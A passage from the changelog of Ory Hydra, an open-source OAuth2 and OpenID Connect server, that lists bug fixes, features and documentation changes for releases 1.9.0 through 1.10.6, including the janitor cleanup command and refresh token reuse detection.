([df08c7f](https://github.com/ory/hydra/commit/df08c7fca52bee51a3a379ef675dc9ac71641b9f)) ### Code Generation * Pin v1.10.6 release commit ([f1771f1](https://github.com/ory/hydra/commit/f1771f13dd954b37330d4e90d89df41fc40be460)) ### Documentation * Section for debugging jwks based client errors ([#2680](https://github.com/ory/hydra/issues/2680)) ([87f4a58](https://github.com/ory/hydra/commit/87f4a58cbc9c2075ba5902d64118a073707c3ef7)) # [1.10.5](https://github.com/ory/hydra/compare/v1.10.3...v1.10.5) (2021-08-13) This patch introduces a faster and better janitor (database clean up routine), the ability to filter OAuth2 Clients by owner and name, and resolves a regression when parsing config environment variables. ### Bug Fixes * Docs generator ([564d18b](https://github.com/ory/hydra/commit/564d18b3e25e10ca1829433a1dc95dd63a9dc61c)) ### Code Generation * Pin v1.10.5 release commit ([0456f54](https://github.com/ory/hydra/commit/0456f54d6bada387c1c06fe5e89d334f247809a0)) ### Documentation * Add long flag --grant-types in 5min tutorial ([#2650](https://github.com/ory/hydra/issues/2650)) ([4083684](https://github.com/ory/hydra/commit/4083684bc685ec4c1a60f87bae10d67abd4a7287)) ### Features * Add owner/name filter to list clients ([#2637](https://github.com/ory/hydra/issues/2637)) ([ea6fdfd](https://github.com/ory/hydra/commit/ea6fdfd6318b964280606a83d733e1e01c4a5b30)), closes [#1485](https://github.com/ory/hydra/issues/1485) * Improve delete queries for janitor command ([#2540](https://github.com/ory/hydra/issues/2540)) ([6ea0bf8](https://github.com/ory/hydra/commit/6ea0bf8f4dc990667c6911c92a1ad644733745be)), closes [#2513](https://github.com/ory/hydra/issues/2513): This patch improves delete queries by separating the data extraction from actual delete. Extraction is made with a configurable limit, using the `--limit` CLI flag. Deletes use that list in batch mode with a configurable batch size (`--batch-size` CLI flag). Default value for limit is 100000 records and default value for batch size is 100 records. To improve performance, `LEFT JOIN` is used to select also login and consent requests which did not result in a complete authentication, i.e. user requested login but timed out or user logged in and timed out at consent. Also, two independent `SELECT`s are used in the extraction of login and consent requests eligible for deletion. This solves a bug in the single `SELECT` causing deletion of consent requests where matching login requests were eligible for deletion and vice versa. With independent `SELECT`s we keep consent requests even if matching login request gets deleted. # [1.10.3](https://github.com/ory/hydra/compare/v1.10.2...v1.10.3) (2021-07-14) Ory Hydra v0.10.3 brings several bug fixes and configuration features, in particular: 1. Adding the `hydra keys import` command; 2. Passing the `client_id` in the logout request; 3. Resolving prometheus cardinality issues; 4. Moving to `go-jose` for JSON Web Keys and JSON Web Tokens; 5. Supporting PKCE discovery in `/.well-known/`; 6. Support for Instana tracing. For a full list of changes, please check below! ### Bug Fixes * Add RFC 8414 pkce info to OpenID Connect Discovery ([#2547](https://github.com/ory/hydra/issues/2547)) ([9693168](https://github.com/ory/hydra/commit/96931685da3b01b1b43c5286c6b5025ff505e50a)), closes [#2311](https://github.com/ory/hydra/issues/2311) * Add the missing keys import command ([#2521](https://github.com/ory/hydra/issues/2521)) ([c4bc248](https://github.com/ory/hydra/commit/c4bc248b3fc6bc147b0d703e7bcba3ae7ddc399e)), closes [#2520](https://github.com/ory/hydra/issues/2520) * Audience should include client ID ([#2455](https://github.com/ory/hydra/issues/2455)) ([8c70394](https://github.com/ory/hydra/commit/8c703945e91fed257432d63a1c1340a5af021e8a)) * Build issues ([5de255b](https://github.com/ory/hydra/commit/5de255b09ea308a10d004055f5145a80430ee4b4)) * Correct CodeFromRemote syntax ([#2626](https://github.com/ory/hydra/issues/2626)) ([d3ee859](https://github.com/ory/hydra/commit/d3ee8598316f5b71f6c3dff021d57026f700b538)) * Intro docs ([#2602](https://github.com/ory/hydra/issues/2602)) ([bc87822](https://github.com/ory/hydra/commit/bc8782247314835653303d147ad74a416507006e)) * No more windows workaround ([#2632](https://github.com/ory/hydra/issues/2632)) ([db73b44](https://github.com/ory/hydra/commit/db73b441916ea11713b5ebde9aafb60f7a9e426d)), closes [#2160](https://github.com/ory/hydra/issues/2160) * **oauth2:** Enforce assertion check on userinfo aud field ([#2524](https://github.com/ory/hydra/issues/2524)) ([c463d9f](https://github.com/ory/hydra/commit/c463d9f8932f36857fd539b1221868ebaee0e736)): This is so the check on the `ok` variable is effectual. Prior to this patch the type assertion on the *client.Client was setting the value of `ok`. Due to the fact the type assertion on *client.Client is already checked and on a false value it exits the func, this value will *always* be true. * Prometheus URL label ([#2503](https://github.com/ory/hydra/issues/2503)) ([f588ec6](https://github.com/ory/hydra/commit/f588ec69d4fa03f602d3cbb20abd4188195a7375)), closes [#2502](https://github.com/ory/hydra/issues/2502) * README exemplary apps ([#2579](https://github.com/ory/hydra/issues/2579)) ([60e7042](https://github.com/ory/hydra/commit/60e70426583c0bdd879ff498b19d84fc4fc095e7)) * Resolve config parsing regression ([58deacf](https://github.com/ory/hydra/commit/58deacf5b2e860e027d1cbf0f0220b92177d9a3d)), closes [#2518](https://github.com/ory/hydra/issues/2518) * Resolve sdk build issues ([68976f8](https://github.com/ory/hydra/commit/68976f8f6fa3b465dd5b13272e989050e472714c)) * Resolve sdk build issues ([1807e89](https://github.com/ory/hydra/commit/1807e893fd3f94c2a840a353b542f29962f57b05)) * Resolve swagger generation issues ([#2610](https://github.com/ory/hydra/issues/2610)) ([53a50dd](https://github.com/ory/hydra/commit/53a50ddfb520939dd4fce76d9812398809dc300e)) * Use prebuilt ory cli and bump ory/x ([#2605](https://github.com/ory/hydra/issues/2605)) ([0f95e01](https://github.com/ory/hydra/commit/0f95e017056ca20eff641c862c668fe5f44b7769)), closes [#2596](https://github.com/ory/hydra/issues/2596) * Wrong description ([#2589](https://github.com/ory/hydra/issues/2589)) ([5553a6f](https://github.com/ory/hydra/commit/5553a6f29d1f2c78da2adec3ea6d514acfda6100)), closes [#2587](https://github.com/ory/hydra/issues/2587) * WWW-Authenticate header in userinfo handler ([#2454](https://github.com/ory/hydra/issues/2454)) ([f701b28](https://github.com/ory/hydra/commit/f701b28eaabe81df6834ee9a9d32beda5c2d2b33)) ### Code Generation * Pin v1.10.3 release commit ([ea93158](https://github.com/ory/hydra/commit/ea931581eb54ab5dc142ea1f81357f25b8e4156a)) ### Code Refactoring * Integrate with fosite `v0.40` (go-jose migration) ([#2526](https://github.com/ory/hydra/issues/2526)) ([5bdc4bc](https://github.com/ory/hydra/commit/5bdc4bc1561b8da28edc82afda027482e54e41f3)) ### Documentation * Clearer wording in SPA notice for HTML forms ([#2565](https://github.com/ory/hydra/issues/2565)) ([64a332a](https://github.com/ory/hydra/commit/64a332a98fc1c3a73e4b39b58b21b4cd61f5b240)): See https://ory-community.slack.com/archives/C012RBW0F18/p1621977892051700 * Fix erroneous sidebar commit ([94ded27](https://github.com/ory/hydra/commit/94ded27cb85db9958491ca9f3960462446d8165a)) * Fix typo ('ROCP' to 'ROPC') ([#2633](https://github.com/ory/hydra/issues/2633)) ([00e15aa](https://github.com/ory/hydra/commit/00e15aa001e68698afb440097baf19e5423bfb15)) * Link to correct doc in help command ([#2631](https://github.com/ory/hydra/issues/2631)) ([3e5760f](https://github.com/ory/hydra/commit/3e5760f56d93b7797fb97a348624e2778ab864f4)), closes [#2366](https://github.com/ory/hydra/issues/2366) * Move api docs to top level ([243a617](https://github.com/ory/hydra/commit/243a617343c01565aca2f412f16e63a36dfef997)) * New redoc api docs ([9fb505f](https://github.com/ory/hydra/commit/9fb505f25c57fff6316405cec41393b82caa3d3b)) * Rename sidebar api ([f14d2e7](https://github.com/ory/hydra/commit/f14d2e71a32f8a05220557c888ee6d4d604c432e)) * Replace `oryd` in examples with `ory` ([#2600](https://github.com/ory/hydra/issues/2600)) ([5796994](https://github.com/ory/hydra/commit/579699427c59fab84de65a28230dba4d1f4104e0)) ### Features * Add custom claims to top-level JWT payload ([#2545](https://github.com/ory/hydra/issues/2545)) ([63402de](https://github.com/ory/hydra/commit/63402dee7604141118fead91491abe6763150f1c)), closes [#1974](https://github.com/ory/hydra/issues/1974) * Add instana as possible tracing provider ([#2548](https://github.com/ory/hydra/issues/2548)) ([f74fe90](https://github.com/ory/hydra/commit/f74fe90d585146984919d12e180b3ab5da702cdc)) * Add max_conn_idle_time flag ([#2551](https://github.com/ory/hydra/issues/2551)) ([81e0784](https://github.com/ory/hydra/commit/81e0784b7615da0ce5d56df50232cc7ccaf0096c)) * Import keys with a default key id ([#2563](https://github.com/ory/hydra/issues/2563)) ([cd3014c](https://github.com/ory/hydra/commit/cd3014cdf316c8c1256315d6460cd25a52a0df3a)) * Pass client in logout request ([#2483](https://github.com/ory/hydra/issues/2483)) ([43b391d](https://github.com/ory/hydra/commit/43b391d95f17cfd7414786cec0c602c15e29e956)), closes [#2468](https://github.com/ory/hydra/issues/2468) # [1.10.2](https://github.com/ory/hydra/compare/v1.10.1...v1.10.2) (2021-05-04) This maintenance release resolves regressions introduce in Ory Hydra v1.10.1. A big change is that Ory Hydra now support PATCH operations for OAuth2 Clients and is able to handle TLS for admin and public endpoints individually. ## Breaking Changes This patch makes it so that already handled consent/login/logout requests respond with 410 Gone instead of 409 Conflict. Additionally, a URL is included that the user should be redirected to! Co-authored-by: hackerman <[email protected]> This patch changes how issuer and public URLs are used. Please be aware that going forward, the public URL is used for redirects. Previously, the issuer URL was used. If no public URL is set, the issuer URL will be used as before. ### Bug Fixes * CookieStore MaxAge value ([#2485](https://github.com/ory/hydra/issues/2485)) ([#2488](https://github.com/ory/hydra/issues/2488)) ([aafc901](https://github.com/ory/hydra/commit/aafc901eb09cd26e1c11f2204f46fc1d67517b92)): CookieStore MaxAge is set to 86400 * 30 by default. This prevents secure cookies retrieval with expiration > 30 days. MaxAge: 0 disables MaxAge check by SecureCookie, thus allowing sessions lasting > 30 days. * Do not use error_hint anymore ([#2450](https://github.com/ory/hydra/issues/2450)) ([ff90c47](https://github.com/ory/hydra/commit/ff90c47ff52c30ffeb0f9740b870be0f5313fd04)) * Handled requests respond with 410 Gone and include redirect URL ([#2473](https://github.com/ory/hydra/issues/2473)) ([e3d9158](https://github.com/ory/hydra/commit/e3d9158aebb750386c4dd2ebed0dfdaf5b374805)), closes [#1569](https://github.com/ory/hydra/issues/1569) * Link in documentation ([#2478](https://github.com/ory/hydra/issues/2478)) ([5fdd913](https://github.com/ory/hydra/commit/5fdd91302a8068956515c750a7d160dfa10057a6)) * Login and consent redirect behavior change since 1.9.x ([#2457](https://github.com/ory/hydra/issues/2457)) ([2f3a1af](https://github.com/ory/hydra/commit/2f3a1afb09c96400484f0e4b397c6b811fe72fe4)), closes [#2363](https://github.com/ory/hydra/issues/2363): Allow #fragment in configured url to keep backwards compatibility. * Make token user command work with public clients ([#2479](https://github.com/ory/hydra/issues/2479)) ([a033d6a](https://github.com/ory/hydra/commit/a033d6a732c13b2d15ba073f582a994d174e299c)) * Resolve clidoc issues ([f6e5958](https://github.com/ory/hydra/commit/f6e59589eba86f179ac4462f1b00fc1d2066d4b5)) * Resolve specignore issues ([1431167](https://github.com/ory/hydra/commit/143116732bdf86ba92a1e42928519edb23ed53b7)) * Use PublicURL where given ([#2441](https://github.com/ory/hydra/issues/2441)) ([eefefd5](https://github.com/ory/hydra/commit/eefefd514f691bbf0a7e59e395be1b9341668e90)), closes [#2422](https://github.com/ory/hydra/issues/2422) * Valid JSON response for already handled requests ([#2517](https://github.com/ory/hydra/issues/2517)) ([ac61616](https://github.com/ory/hydra/commit/ac61616322e3f58319b5fd778441f442a6a9f156)), closes [#2515](https://github.com/ory/hydra/issues/2515) * Version schema ([#2427](https://github.com/ory/hydra/issues/2427)) ([7781215](https://github.com/ory/hydra/commit/77812158ec414bc1529a7503bcd8d1fe84dfff4d)) ### Code Generation * Pin v1.10.2 release commit ([e8c3a06](https://github.com/ory/hydra/commit/e8c3a06e047f058986e29e0e9395db03aff731de)) ### Code Refactoring * Move unix socket support helpers into ory/x ([#2486](https://github.com/ory/hydra/issues/2486)) ([44fd4e4](https://github.com/ory/hydra/commit/44fd4e42f09ac2bccb4beb51f1646e11e85eca2b)) ### Documentation * Add dotnet sdk ([#2431](https://github.com/ory/hydra/issues/2431)) ([014c773](https://github.com/ory/hydra/commit/014c773d70e6fac0e856f5d78b5fe2feafd73e5a)) * Add php link sdk page & fix links ([#2469](https://github.com/ory/hydra/issues/2469)) ([47cf3c7](https://github.com/ory/hydra/commit/47cf3c76c3e9566763297fbd33a7f59af00cd74f)) * Change forum to discussions readme ([#2451](https://github.com/ory/hydra/issues/2451)) ([aa2919d](https://github.com/ory/hydra/commit/aa2919dc14fbfb2185638dd4de73401fc1b5e594)): same as https://github.com/ory/kratos/pull/1220 * Fix uppercase id ([8ac186c](https://github.com/ory/hydra/commit/8ac186c207a4f50aaf929ddaf6349c5055cac92e)) * Guide for merging system.secrets ([#2448](https://github.com/ory/hydra/issues/2448)) ([5466d4e](https://github.com/ory/hydra/commit/5466d4e3e834b7c5114e074b8e7fb07e37c967f6)) ### Features * Add the MaxTagValueLength config for jaeger of tracing ([#2482](https://github.com/ory/hydra/issues/2482)) ([03c96ee](https://github.com/ory/hydra/commit/03c96ee22d781939a3fe9cf01763da44242a2308)), closes [#2447](https://github.com/ory/hydra/issues/2447) * Enable "nbf" (not before) claim to be optional for Access Token ([#2437](https://github.com/ory/hydra/issues/2437)) ([666cd25](https://github.com/ory/hydra/commit/666cd2580def07735c6fdaca346dd194ea2edff5)), closes [#1542](https://github.com/ory/hydra/issues/1542) * Global docs sidebar and added cloud pages ([#2495](https://github.com/ory/hydra/issues/2495)) ([7f7362b](https://github.com/ory/hydra/commit/7f7362b437fe073a022fd811635b14851c61bfb4)) * Implement partial client updates (PATCH) with JSON Patch syntax ([#2411](https://github.com/ory/hydra/issues/2411)) ([540c89d](https://github.com/ory/hydra/commit/540c89d68e7efbd9043cb0147e10781cd61021a6)): Implements a new endpoint `PATCH /clients/{id}` which uses JSON Patch syntax to update an OAuth2 client partially. This removes the need to do `PUT /clients/{id}` with the full OAuth2 Client in the payload. * Split TLS config into admin and public interfaces ([#2476](https://github.com/ory/hydra/issues/2476)) ([60704d4](https://github.com/ory/hydra/commit/60704d490c46840ccad966b3d0ef074913285fab)), closes [#1231](https://github.com/ory/hydra/issues/1231) [#1962](https://github.com/ory/hydra/issues/1962): Adds the possibility to specify TLS certificates for admin and public endpoints individually. Also improves compatibility for internal networks (e.g. Kubernetes) by removing the need for having TLS termination on admin endpoints. This can be enabled by setting `serve.admin.tls.enabled` to false. # [1.10.1](https://github.com/ory/hydra/compare/v1.9.2...v1.10.1) (2021-03-25) We are excited to announce Ory Hydra v1.10.0! This release adds significant data management improvements. As such, we introduce the new "hydra janitor" command which cleans up stale data and can be run, for example, as a (Kubernetes) CronJob. The new janitor command is able to clean up invalid and expired access and refresh tokens as well as login and consent requests. This solves issues observed in installations with lots of traffic. This patch refactors the internal file embed system by migrating to Go 1.16, simplifying and speeding up the build process. To follow OAuth2 best-practice, refresh tokens will now invalidate the whole access and refresh token chain if reused. ### Bug Fixes * Add docs/node_modules make target ([b302501](https://github.com/ory/hydra/commit/b302501b60da8263617966201eab5e99c733481e)) * Add network specific error message to avoid confusion ([#2367](https://github.com/ory/hydra/issues/2367)) ([56d71e6](https://github.com/ory/hydra/commit/56d71e67c4b985f03bc374faf998543b5bb21221)), closes [#2338](https://github.com/ory/hydra/issues/2338) * Adds sqa section to config.schema.json ([#2360](https://github.com/ory/hydra/issues/2360)) ([89df8d7](https://github.com/ory/hydra/commit/89df8d7b3e295115fc930b6aabe4ec4148dd42f2)), closes [#2358](https://github.com/ory/hydra/issues/2358): Move from viper to koanf caused env vars without corresponding paths in config.schema.json to be ignored. This commit adds missing sqa section, so the SQA_OPT_OUT env var has effect again. * Adopt new cli renderer pipeline ([02483ce](https://github.com/ory/hydra/commit/02483ce4c00d53d897830a2aaa7ff0a6d540dc3a)) * Better http resiliency and sqlite updates ([883a84f](https://github.com/ory/hydra/commit/883a84f88721b75ff56c28796d00ab7e748e467b)) * Improve cache and update CI images to go 1.16 ([#2388](https://github.com/ory/hydra/issues/2388)) ([7803202](https://github.com/ory/hydra/commit/78032026e940ad10ac9df20eb42dff5cc2bd0be4)) * Increase conformance test timeout ([e9bd064](https://github.com/ory/hydra/commit/e9bd06421a8b3843280c6ef5aa41ba34eaab7d1d)) * Record cypress videos ([c9d0a26](https://github.com/ory/hydra/commit/c9d0a262c13087348454747b260e9b5d1b743384)) * Resolve clidoc issues ([8257cb2](https://github.com/ory/hydra/commit/8257cb29c896467324b362662de55ca811bfb181)) * Resolve docs build issues ([6612099](https://github.com/ory/hydra/commit/6612099b49c3f7e4f6aebe0dfbec7e74f696e0b9)) * Resolve e2e test issues ([4812f54](https://github.com/ory/hydra/commit/4812f5492fdc7ae97f4e7a1b11f46ab55ca10521)) * Resolve migrator duplicate files ([b1f63ff](https://github.com/ory/hydra/commit/b1f63fffe1cc5539f774aef5e82e6f872eee5474)) * Resolve migrator regression issues ([cdfc03d](https://github.com/ory/hydra/commit/cdfc03d800a1968b9a090a03f829c7b7208277d6)) * Revert mode default and maximum values ([#2349](https://github.com/ory/hydra/issues/2349)) ([b20fc48](https://github.com/ory/hydra/commit/b20fc48db6b494b1fb20d1745b748ae90aa325ba)): I made a mistake in previous pull request, these socket mode values are in decimal, not octal format. Sorry. * Update janitor help ([b7965c6](https://github.com/ory/hydra/commit/b7965c6fb4efb5c376417d77da8b7b9742da3ffd)) * Use appropriate migrations with precedence ([b61d05c](https://github.com/ory/hydra/commit/b61d05cebe14f99519ad38cca7ccb9ca0e0fb57b)) * Use gelf windows hotfix ([0cac0f1](https://github.com/ory/hydra/commit/0cac0f1e5ef098a6058bcc352d585b1a8e024eb3)) * Use go 1.16 in conformity suite ([3fbda05](https://github.com/ory/hydra/commit/3fbda05ab2bca1ecadedf2f5408687c8f6e03f1e)) ### Code Generation * Pin v1.10.1 release commit ([2287ac5](https://github.com/ory/hydra/commit/2287ac592fc5a06b1bd3e9f54340a67395452b46)) ### Documentation * Faq custom data ([#2334](https://github.com/ory/hydra/issues/2334)) ([471e85d](https://github.com/ory/hydra/commit/471e85d282e1a8fc731bdaaa1c9375d2fb964b87)) * Fix basic examples for the golang SDK ([#2399](https://github.com/ory/hydra/issues/2399)) ([6806865](https://github.com/ory/hydra/commit/680686512bc1a5261bc5a9034d88a7bef6a4922d)) * Fix subject identifier algorithms to match configuration ([#2400](https://github.com/ory/hydra/issues/2400)) ([dd19b86](https://github.com/ory/hydra/commit/dd19b86b015decdfda456289cd970c70f45f3270)): On https://www.ory.sh/hydra/docs/reference/configuration/ under 'subject identifiers' the name for defining which subject identifier algorithms are supported it is called "supported_types", not "enabled" as in these pages. * Improve readme tests section ([#2380](https://github.com/ory/hydra/issues/2380)) ([277afe9](https://github.com/ory/hydra/commit/277afe9d1a191ad3b2ec21e5197ecc09146def61)) * Quickstart config ([#2328](https://github.com/ory/hydra/issues/2328)) ([f20f645](https://github.com/ory/hydra/commit/f20f645998cadd066a3d027ceb78002b340442b9)) * Update config.schema.json default values ([#2348](https://github.com/ory/hydra/issues/2348)) ([8494822](https://github.com/ory/hydra/commit/849482209b6f270dfd7965a1f3d6de39feb3cd58)): Updated wrong config schema values * Update examples to new helm install command format ([#2369](https://github.com/ory/hydra/issues/2369)) ([f006556](https://github.com/ory/hydra/commit/f006556f584a63009af5117c449a52d11aa72a14)): Tried example with helm 3.5.2 and it does not support `--name` flag. So I moved name and repository to first line of commands. ### Features * Add --no-shutdown flag to "hydra token user" to prevent auto-termination ([#2382](https://github.com/ory/hydra/issues/2382)) ([#2386](https://github.com/ory/hydra/issues/2386)) ([a17d10e](https://github.com/ory/hydra/commit/a17d10e7c273069e9cac18a9ea0326200bc2b569)) * Add front/backchannel logout params to client cli ([#2387](https://github.com/ory/hydra/issues/2387)) ([055f801](https://github.com/ory/hydra/commit/055f801eb76e187b3fa70e6a474d68a0d56f766b)), closes [#1487](https://github.com/ory/hydra/issues/1487) * Flush inactive/expired login and consent requests ([#2381](https://github.com/ory/hydra/issues/2381)) ([f039ebb](https://github.com/ory/hydra/commit/f039ebbdf315715deb44fc20fb3fdef3f4fa7b51)), closes [#1574](https://github.com/ory/hydra/issues/1574): This patch resolves various table growth issues caused by expired/inactive login and consent flows never being purged from the database. You may now use the new `hydra janitor` command to remove access & refresh tokens and login & consent requests which are no longer valid or used. The command follows the `notAfter` safe-guard approach to ensure records needed to be kept are not deleted. To learn more, please use `hydra help janitor`. This patch phases out the `/oauth2/flush` endpoint as the janitor is better suited for background tasks, is easier to run in a targeted fashion (e.g. as a singleton job), and does not cause HTTP timeouts. * Flush refresh tokens for service oauth2/flush ([#2373](https://github.com/ory/hydra/issues/2373)) ([b46a14c](https://github.com/ory/hydra/commit/b46a14cd6d260a7dee748de34abfea54908f1a0b)), closes [/github.com/ory/hydra/issues/1574#issuecomment-736684327](https://github.com//github.com/ory/hydra/issues/1574/issues/issuecomment-736684327) * Move to go 1.16 and static embed files ([6fa591c](https://github.com/ory/hydra/commit/6fa591c849c3d63b036d7a4001496f42f02b821b)) * Refresh token reuse detection ([#2383](https://github.com/ory/hydra/issues/2383)) ([bc349f1](https://github.com/ory/hydra/commit/bc349f1fbaf19340081d9a6c097de2b76e848e46)), closes [#2022](https://github.com/ory/hydra/issues/2022): This patch adds support for Refresh Token reuse Detection introduced by https://github.com/ory/fosite/pull/567. Ory Hydra's persister no longer deletes refresh tokens when using them, but instead deactivates them - similar to how authorization codes work. ### Tests * Bump cypress to newer version and add resilience ([c76309c](https://github.com/ory/hydra/commit/c76309cf9faba46162af7dc856a99cbccf6403a9)) * Bump ory/x and resolve regressions ([1a03c07](https://github.com/ory/hydra/commit/1a03c0778bc088bb7a7932fb6794fe3707bea4c2)) * Fix record arg ([b248406](https://github.com/ory/hydra/commit/b248406d44bd580b795d8e15f6e0f57eeb4f173b)) * Improve e2e script and add record option ([9d4764d](https://github.com/ory/hydra/commit/9d4764d80706941185ffb56fb0fff067f07ddd08)) * Resolve flaky cypress tests ([356b05f](https://github.com/ory/hydra/commit/356b05f600ca58029b22ed11af850b3ba369ae62)) * Resolve migration regression ([e59e2bc](https://github.com/ory/hydra/commit/e59e2bc9eb58b9bbf14d5e591ebaf04b7de19c6d)) * Use cypress fetchers ([2aa0980](https://github.com/ory/hydra/commit/2aa09804f670e4f24d8ee7df7feae94b12394ee3)) * Use go 1.16 in conformity ([ccd983d](https://github.com/ory/hydra/commit/ccd983d707fd6b98f848f1206e151a44fcfc3b51)) ### Unclassified * Do not send 404 on revoke consent / delete login ([#2397](https://github.com/ory/hydra/issues/2397)) ([854b9ee](https://github.com/ory/hydra/commit/854b9eed7916b098c35ddc466d01788d101491f3)) * Resolve oidc conformity regression ([1049602](https://github.com/ory/hydra/commit/10496024e5edbd96d6bdbb8342bb1724a2dd0a52)) # [1.9.2](https://github.com/ory/hydra/compare/v1.9.1...v1.9.2) (2021-01-29) This release adds more telemetry data to the prometheus exporter. ### Code Generation * Pin v1.9.2 release commit ([f0580e2](https://github.com/ory/hydra/commit/f0580e2581e202ec7299f45822db37228228aee9)) ### Features * Enable emittance of response time metrics ([#2323](https://github.com/ory/hydra/issues/2323)) ([c1f1ba5](https://github.com/ory/hydra/commit/c1f1ba5c9ed80fc27b1d4cad60dc843827587572)) # [1.9.1](https://github.com/ory/hydra/compare/v1.9.0...v1.9.1) (2021-01-27) This release makes [Dart](https://pub.dev/packages/ory_hydra_client) and [Rust](https://crates.io/crates/ory-hydra-client) SDKs available for Ory Hydra! ### Code Generation * Pin v1.9.1 release commit ([5cedc9e](https://github.com/ory/hydra/commit/5cedc9e2f84bcff27dd55d34064d2d5951cdcaa5)) ### Documentation * Add faq items ([8d31cb3](https://github.com/ory/hydra/commit/8d31cb34a23b2224cd8858ba51089ba5f3b155c5)): Added two items to the FAQ that were sitting in meta/tmp. * Add link endings. ([#2313](https://github.com/ory/hydra/issues/2313)) ([1316cc0](https://github.com/ory/hydra/commit/1316cc00439c1b256b780f7de6878a7dc6cda19a)), closes [#38](https://github.com/ory/hydra/issues/38) * Add Rust and Dart SDKs ([c4b4f73](https://github.com/ory/hydra/commit/c4b4f73eb250db364eefe3d83fdf3780c7834f6f)): We now support for Rust and Dart SDKs! * Fix npm links ([#2303](https://github.com/ory/hydra/issues/2303)) ([341f3ed](https://github.com/ory/hydra/commit/341f3ede500bff4b0d07e7e8b8d264f2291f2baa)) * Quickstart cleanup ([#2324](https://github.com/ory/hydra/issues/2324)) ([a8ad705](https://github.com/ory/hydra/commit/a8ad70524c58d73e45fa690fe4b9f848013183ce)) * Reorg faq sidebar ([#2318](https://github.com/ory/hydra/issues/2318)) ([4fdb7f1](https://github.com/ory/hydra/commit/4fdb7f1c8e31fe5c024e1c562077d4516f934f52)) * Update before oauth2.mdx ([#2299](https://github.com/ory/hydra/issues/2299)) ([d2ee4f6](https://github.com/ory/hydra/commit/d2ee4f6cd308a2b61fd4ef7f8fcebb2901190a58)), closes [#2295](https://github.com/ory/hydra/issues/2295) * Update javascript documentation ([a2b3a49](https://github.com/ory/hydra/commit/a2b3a49e56afa5ae18a522198f1744e43b4f779f)): Closes https://github.com/ory/sdk/issues/22 * Update npm package name ([#2302](https://github.com/ory/hydra/issues/2302)) ([d05d82e](https://github.com/ory/hydra/commit/d05d82e926a726fd4fe0179363a140ca59e40c10)): Changed npm client package from @oryd/hydra-client to @ory/hydra-client # [1.9.0](https://github.com/ory/hydra/compare/v1.9.0-rc.0...v1.9.0) (2021-01-12) Today, we are very excited to announce the stable release of ORY Hydra 1.9! This release contains significant internal code refactoring, making ORY Hydra more reliable, lightweight, and even more scalable! Also, for the first time ever, **ORY Hydra handled over 13.3 billion API requests in December 2020** in over **23.000 production environments** around the globe. Let's talk features - in a TL;DR overview: - Completely replacing the existing DBAL and switching to gobuffalo/pop. - Support for SQLite, an embedded database, which can be used for testing and tiny deployments. - Deprecating the existing configuration system [spf13/viper](https://github.com/spf13/viper) and moving to [knadh/koanf](https://github.com/knadh/koanf). - Adding OpenID Connect Conformity Test Suite to the CI, guaranteeing that every code change is fully OpenID Connect compliant. - Support for the OpenID Connect `response_mode=form_post` Response Mode. - Compatibility with MITREid, allowing [easy migration from MITREid to ORY Hydra](https://www.ory.sh/hydra/docs/next/guides/migrating-from-MITREid). - The TypeScript SDK moved from **@oryd/hydra-client to @ory/hydra-client**. Please update your dependencies! If you wish to get into ORY Hydra, check out the new YouTube tutorial: [![ORY Hydra YouTube Quickstart Tutorial](https://raw.githubusercontent.com/ory/web/master/static/images/newsletter/hydra-1.9.0/YouTube-tutorial-hydra-preview.png)](https://www.youtube.com/watch?v=tlO9p2E501A) *See you on [slack](https://slack.ory.sh), signed [HACKERMAN](https://github.com/aeneasr).* **ORY Kratos** We would like to take a bit of your time and introduce you to [ORY Kratos](https://github.com/ory/kratos). ORY Kratos implements all the hard things related to users: [login](https://www.ory.sh/kratos/docs/self-service/flows/user-login), [registration](https://www.ory.sh/kratos/docs/self-service/flows/user-registration), [customizable profile fields](https://www.ory.sh/kratos/docs/concepts/identity-data-model/), [multi-factor authentication scheduled for v0.6](https://www.ory.sh/kratos/docs/self-service/flows/2fa-mfa-multi-factor-authentication), [secure account recovery](https://www.ory.sh/kratos/docs/self-service/flows/account-recovery), [email and SMS verification](https://www.ory.sh/kratos/docs/self-service/flows/verify-email-account-activation), [profile management](https://www.ory.sh/kratos/docs/self-service/flows/user-settings), [session and device management](https://github.com/ory/kratos/issues/655), [user administration](https://www.ory.sh/kratos/docs/admin/managing-users-identities), [social sign in and sign up](https://www.ory.sh/kratos/docs/concepts/credentials/openid-connect-oidc-oauth2/), and much, much more! Everything works with proven and ORY-hardened protocols in the same lightweight fashion you are used to from our other products. And it natively targets mobile, desktop, web, and robots! [ORY Kratos](https://github.com/ory/kratos) is essentially an open-source alternative to Auth0, Okta, and Google Firebase with the added benefit of avoiding the complexity of implementing OAuth2 and OpenID Connect for your first-party apps just to get login to work. So if you are wondering [**whether you really need OAuth2**](https://www.ory.sh/hydra/docs/concepts/before-oauth2), this is worth your time! To get a feeling for ORY Kratos, check out our exemplary React Native app (available on [GitHub](https://github.com/ory/kratos-selfservice-ui-react-native), [Android](https://play.google.com/store/apps/details?id=com.ory.kratos_self_service_ui_react_native&hl=en&gl=US) and [iOS](https://apps.apple.com/de/app/ory-profile-app/id1536546333)) demonstrating user registration, login, and profile management. It uses APIs from ORY Cloud, which will be publicly announced this year. If you are interested in becoming an early adopter, [get in touch now](mailto:[email protected])! We have more super exciting stuff planned! ![ORY Kratos User Data Screen for Mobile Applications](https://raw.githubusercontent.com/ory/web/master/static/images/newsletter/kratos-0.5.0/welcome-screen.png) **Changes in-depth** Let's break down the most significant changes in more detail: **The configuration system has been reworked** 1. Configuration sourcing works from all sources (file, env, cli flags) with validation against the configuration schema. This makes changing or updating configuration much easier. 2. Configuration reloading is improved and works on Kubernetes. 3. Performance gains remove the need for a cache layer between the configuration system and ORY Hydra. 4. Loading of several config files is now possible using the `--config` flag. 5. Configuration values are now sent to the tracer (e.g. Jaeger) if tracing is enabled. Please be aware that deprecated configuration flags have been removed with this change. It is also possible that ORY Hydra might complain about an invalid configuration due to a significantly improved validation process. **The [OpenID Connect Conformity Test Suite](https://gitlab.com/openid/conformance-suite) is now part of the ORY Hydra CI pipeline.** This means every PR and change will be checked for OpenID Connect Compliance. As part of these tests, we uncovered some regression issues which have since been resolved. Please be aware that fields `error_hint` and `error_debug` will no longer be sent. You can re-enable those legacy fields by setting `oauth2.include_legacy_error_fields` to `true`. **Supporting `response_mode=form_post`** Support OpenID Connect flows `response_mode=form_post` was added and has been tested with the OpenID Connect Conformity Test Suite, making it ready for production. **Compatibility with MITREid** Adds an option that allows granting the OAuth2 Client's authorized scope when performing a `client_credentials` flow without specifying a scope. This enables compatibility with MITREid and allows [migrating from MITREid to ORY 